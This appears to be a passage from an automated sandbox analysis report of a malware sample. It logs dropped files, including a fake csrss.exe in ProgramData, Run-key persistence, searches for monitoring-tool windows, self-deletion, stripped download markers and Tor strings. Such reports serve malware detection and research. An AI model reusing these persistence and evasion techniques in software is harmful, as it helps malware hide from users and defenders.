Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassalac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libsox-3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\B6AA.exe	File created: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\python37.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-D13DL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-D8Q6V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\tcl86t.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\OptimFROG.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_tta.dll (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8900.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassopus.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\ff_helper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\raw_decode_plugin_c.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-M81L8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-E62DC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\basscd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-DEO22.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassmix.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\dstt.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-6NUFP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassape.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\uchardet.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-L89CU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libvorbis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JG7OO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-DJ7DE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\plugins\internal\is-GNU2Q.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\daiso.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CMU2D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\tak_deco_lib.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\pcm2dsd.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JFGB9.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5D69.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\basswma.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-EPDGC.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A0FE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-JORN1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-T0T9V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5316.exe	File created: C:\ProgramData\Drivers\csrss.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-SKTK6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-3M1CR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\dsd2pcmt.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\mp3gain.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5828.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-ED7G5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P8UR3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libmp4v2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-OBVGG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CSBEI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Users\user\AppData\Local\Temp\is-9TEF6.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libFLAC_dynamic.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-CEVH5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\7z.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-373UE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-P3O93.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-F0J9D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassflac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassmidi.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_ofr.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\opusenc.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-96K1P.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-647AI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\d_writer.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\libwinpthread-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-BML8E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-913NL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-J82TT.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5316.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\sd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HDCA4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7017.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI65762\tk86t.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\is-HVAMB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\bass_aac.dll (copy)	Jump to dropped file
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	File created: C:\ProgramData\N75Bitscore\N75Bitscore.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp	File created: C:\Program Files (x86)\VBPlayerLIB\bin\x86\basswv.dll (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\5316.exe	File created: C:\ProgramData\Drivers\csrss.exe			Jump to dropped file
Source: C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe	File created: C:\ProgramData\N75Bitscore\N75Bitscore.exe			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\uiedafw			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\wwedafw			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\5316.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CSRSS			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CSRSS			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\3ypvcmrbqs.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\uiedafw:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\wwedafw:Zone.Identifier read attributes \| delete			Jump to behavior

May use the Tor software to hide its network traffic

Source: 5316.exe, 00000007.00000002.2873592935.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4115690481.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: onion-port

Source: C:\Users\user\AppData\Local\Temp\7017.exe

Code function: 12_2_00007FF7FA705F70 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

12_2_00007FF7FA705F70

Source: C:\Users\user\AppData\Local\Temp\7B24.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5316.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7B24.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A0FE.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
